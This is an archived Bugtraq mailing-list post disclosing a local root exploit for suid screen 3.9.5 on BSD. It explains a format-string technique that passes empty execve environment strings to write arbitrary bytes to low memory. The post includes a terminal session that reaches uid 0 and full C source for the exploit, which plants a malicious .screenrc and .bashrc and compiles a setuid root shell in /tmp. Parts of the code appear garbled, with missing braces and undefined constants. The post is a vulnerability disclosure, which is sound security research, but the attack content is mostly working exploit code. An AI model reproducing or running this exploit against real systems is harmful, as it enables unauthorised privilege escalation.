Home page logo

bugtraq logo Bugtraq mailing list archives

Breaking screen on BSD
From: Paul Starzetz <paul () STARZETZ DE>
Date: Sat, 9 Sep 2000 19:19:29 +0200

Hi @ll,

In contrast to my previous posting I found a way to exploit format
string vulnerable applications, which are suid root (like screen) on
BSD-like systems. The mentioned problems arise form the low virtual
memory address (VMA) we want write to.

As far as there is no way to construct a string containing more 0x0's in
standard C, we can profit from a feature (bug?) in the passing of
environment variables by execve function. execve() will pass empty env
strings (pointers to zeros, _not_ NULL pointers) AS IS, so passing e.g.
environ[a] = empty, environ[a] = empty will lead to two 0x0#s pushed
somewhere onto the stack... With this feature we can construct an array
of arbitrary data on the bottom of the called programm's stack. If this
array can be reached from a fmt-vulnerable function, we can write to ANY
VMA address including also the .data section of a BSD process.

So we could now utilize that and write a new exploit for screen which is
our example here, but there is still another problem. Screen would lock
up after we simply write to (&real_uid - 2) because we write to a part
of another variable too, in this case struct display* display, which
leads to a complete crash. A look at the debugger output shows that the
following variable may be overwritten without consequences, it seems to
be less important flag variable (sample offsets):

        00055888  display
        0005588c  real_uid
        00055890  adaptflag
        00055894  rflag

Depending on the version you may not be able to overwrite real_uid
wihtout crash....
So the technique we need is to construct the 0x0 at &real_uid by
increasing the write address successively by 1, writting to lsb first.
This leads to following exploit:

USAGE a.out <write offset> <bufferoffset> <byteadj> <padding>
bash-2.04$ id
uid=1000(kurak) gid=10(users) groups=10(users)

First we need a bufferoffset at which screen wouldn't crash after
<ctrl-g> at _only_ one padding = {0,1,2,3}. The pair 10 0 would do the
job here:

bash-2.04$ a.out 0 10 0 0
Screen 3.9.5 local r00t exploit
by IhaQueR () IRCNET

creating magic string
building /tmp/.home/.screenrc
creating /tmp/.home/.bashrc
compiling suid shell
press enter to start screen, then hit enter again, ctrl-g, ctrl-c for
suid shell at /tmp/sush and root uid
Screen version 3.09.05 (FAU) 1-Sep-99
chown: /tmp/sush: Operation not permitted
chmod: /tmp/sush: Operation not permitted
kurak () ExploitMe> <ctrl-g> STATUS shows:
chown: /tmp/sush: Operation not permitted
chmod: /tmp/sush: Operation not permitted
I have no name! () ExploitMe>id
uid=318941 gid=10(users) groups=10(users)
[screen is terminating]

Now the uid is 318941, hex 0x0004dddd, which means we have the write
sequence 2, 3, 0, 1. So the padding must be increased by 8 again:

bash-2.04$ a.out 0 10 0 8
I have no name! () ExploitMe>id
uid=3705461980 gid=10(users) groups=10(users)
[screen is terminating]

Now uid is 3705461980, hex 0xdcdcdcdc, so now we need to increase the
byteadj by 256-0xdc = 36:

bash-2.04$ a.out 0 10 36 8
uid=0(root) gid=10(users) groups=10(users)
root () ExploitMe>ls -l /tmp
total 70
-r--r--r--  1 root   wheel     11 Sep  7 13:07 .X0-lock
drwxrwxrwt  2 root   wheel    512 Sep  7 13:07 .X11-unix
drwxr-xr-x  2 kurak  wheel    512 Sep  9 19:52 .home
drwxr-xr-x  3 root   wheel    512 Sep  7 13:51 screens
-rw-r--r--  1 kurak  wheel   3970 Sep  9 03:55 stackdmp
-rwsr-xr-x  1 root   wheel  25564 Sep  9 20:16 sush

Boah, now we have uid=0 and a suid shell at /tmp/sush :-)

Note, with this technique you may bypass even an non-exec stack, because
we aren't executing anything. With the 'byte by byte' writing technique
combined with the execve 'feature' one may write to even low VMA any
data he want (assuming the application is vulnerable of course). Imagine
a suid app, which never starts a shell nor uses setuid(), but calls e.g.
/bin/mail to report you are trying to abuse it... You may change the
string "/bin/mail" for example to "/tmp/r00t"....


FILE: explbsd395.c tested again OpenBSD 2.8-beta (broken :-)


*                                                               *
*               Screen 3.9.5 BSD local exploit                  *
*               by IhaQueR at IRCNET                            *
*               !only for demonstrative purposes!               *
*                                                               *

#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <sys/utsname.h>
#include <pwd.h>
#include <stdlib.h>
#include <errno.h>

extern char **environ;

char* home = "/tmp/.home";
char* ev1 = "PS1=\\u () ExploitMe>";

#define SCREEN "/usr/local/bin/screen-3.9.5"
#define SHELL "/bin/sh"
#define SCREENRC ".screenrc"
#define BASHRC ".bashrc"

/*      offset to the env seen from Msg()       */
#define BUFOFFSET 2682

/*      addr to be written      (may vary)*/
#define WRITEADDR 0x3c1e4

/*      some addresses grabbed from 3.9.5

OpenBSD:        &real_uid,      &real_gid,      &eff_uid,       &eff_gid
                0x3c1e4         0x3c224         0x3b1b0         0x3b1a4

for finding addresses see expl.c, it may be hard...


/*      repeat the addr table in environ        */
#define ENVREP 32

/*      but write only once     */
#define WREP 1

char* env[ENVREP*4 + 256];


int main(int argc, char** argv)
int i, off=0;
int writeoffs=0, bufoffset=0, padding=0, bfoff=0, byteadj=0;
int ep=0, b=0, ob=0;
unsigned vv[ENVREP+2];
unsigned char* pp;
FILE* fp;

char buf[TMPBUFSIZE];
unsigned char myhome[TMPBUFSIZE];
char screenrc[TMPBUFSIZE];
char bashrc[TMPBUFSIZE];
char pad[TMPBUFSIZE];
char buf2[TMPBUFSIZE];

                if(argc != 5) {
                        printf("USAGE %s <write offset> <bufferoffset> <byteadj>
<padding>\n", argv[0]);
                        return 0;
                } else {
                        printf("Screen 3.9.5 local r00t exploit\n");
                        printf("by IhaQueR () IRCNET\n\n");

/*      user supplied offsets   */
                writeoffs = atoi(argv[1]);
                bfoff = atoi(argv[2]);
                byteadj = atoi(argv[3]);
                padding = atoi(argv[4]);

/*      create env      */
                for(i=0; i<ENVREP; i++)
                        vv[i] = WRITEADDR + writeoffs + i%4;

                vv[ENVREP] = 0;

                pp = (unsigned char*) vv;
                b = 0;
                ob = b;

                sprintf(myhome, "HOME=%s", home);

                        env[ep] = environ[ep];

/*      pad     */
                sprintf(pad, "%s", "PPPP");
                for(i=0; i<padding; i++)
                        strcat(pad, "Q");

                while(b<ENVREP*4) {
                        if(pp[b] == 0) {
                                env[ep] = pp + ob;
                                ob = b+1;

                        env[ep++] = pp + ob;

                env[ep++] = NULL;

/*      create vbell string     */
                printf("creating magic string\n");
                bzero(buf, TMPBUFSIZE);
                bufoffset = BUFOFFSET + bfoff*sizeof(double);

/*      consume stack arguments */
                for(i=0; i<bufoffset/sizeof(double)+1; i++)
                        strcat(buf, "%.g");

/*      finally write to adress */
                sprintf(buf2, "%%dx%%n%%n%%n%%n", byteadj+16);
                for(i=0;i<WREP; i++)
                        strcat(buf, buf2);

/*      create homedir  */
                if(mkdir((char*)(home), 0xfff))
                        if(errno != EEXIST) {
                                printf("\nERROR: mkdir()");
                                return 2;

/*      strings for .screenrc and .bashrc       */
                strcpy(screenrc, home);
                strcat(screenrc, "/");
                strcat(screenrc, SCREENRC);
                strcpy(bashrc, home);
                strcat(bashrc, "/");
                strcat(bashrc, BASHRC);

/*      create screenrc */
                printf("building %s\n", screenrc);
                if(fp = fopen(screenrc, "w")) {
                        fprintf(fp, "vbell on\n");
                        fprintf(fp, "vbell_msg '%s'\n", buf);
                        fprintf(fp, "vbellwait 3600\n");
                else {
                        printf("ERROR: opening %s\n", screenrc);
                        return 1;

/*      create bashrc   */
                printf("creating %s\n", bashrc);
                snprintf(buf, TMPBUFSIZE, "echo >%s 'chown root /tmp/sush; chmod 4755
/tmp/sush'", bashrc);

/*      create suid shell       */
                printf("compiling suid shell\n");
                snprintf(buf, TMPBUFSIZE, "echo >/tmp/sush.c 'main(int ac, char**
av){setuid(0); setgid(0); execv(\"%s\", av);}'", SHELL);
                system("gcc /tmp/sush.c -o /tmp/sush");

/*      set env and call screen */
                argv[1] = NULL;
                printf("press enter to start screen, then hit enter again, ctrl-g,
ctrl-c for suid shell at /tmp/sush and root uid");

                execve(SCREEN, argv, env);


  By Date           By Thread  

Current thread:
  • Breaking screen on BSD Paul Starzetz (Sep 12)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]